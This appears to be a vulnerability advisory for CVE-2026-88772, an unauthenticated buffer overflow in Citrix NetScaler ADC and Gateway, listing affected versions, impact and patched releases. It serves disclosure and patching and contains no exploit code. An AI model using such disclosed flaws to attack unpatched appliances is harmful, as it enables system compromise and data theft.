CVE-2026-88772

HIGH CISA KEV EXPLOIT POC TTE Zero-Day Pub 27/09 Upd 28/09

Overview

This vulnerability is a memory corruption issue classified under CWE-119, specifically a buffer overflow within Citrix NetScaler ADC and Gateway components. The root cause lies in improper handling of input data in certain network protocol processing routines, leading to unsafe memory operations. Affected versions include multiple releases prior to 14.1-73.37 and 13.1-64.23, impacting both standard and FIPS/NDcPP builds of the ADC and Gateway.

Vulnerability Description

Vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to Remote Code Execution or Denial of Service

Impact

An attacker can exploit this vulnerability remotely without any authentication or user interaction to execute arbitrary code on the affected system or cause a denial of service by crashing the service. This enables full system compromise, including potential unauthorized access to sensitive data and lateral movement within the network. The ability to execute code at the system level can lead to persistent control over the appliance, severely impacting business continuity and security posture.

Solution

Citrix has released security updates addressing this vulnerability in NetScaler ADC and Gateway versions 14.1-73.37 and 13.1-64.23, including patches for FIPS and NDcPP builds. Administrators should apply these specific version upgrades as detailed in Citrix Security Bulletin CTX697096. The advisory provides comprehensive patch installation instructions and recommended mitigation steps. Refer to the official Citrix support article for exact patch versions and deployment guidance.
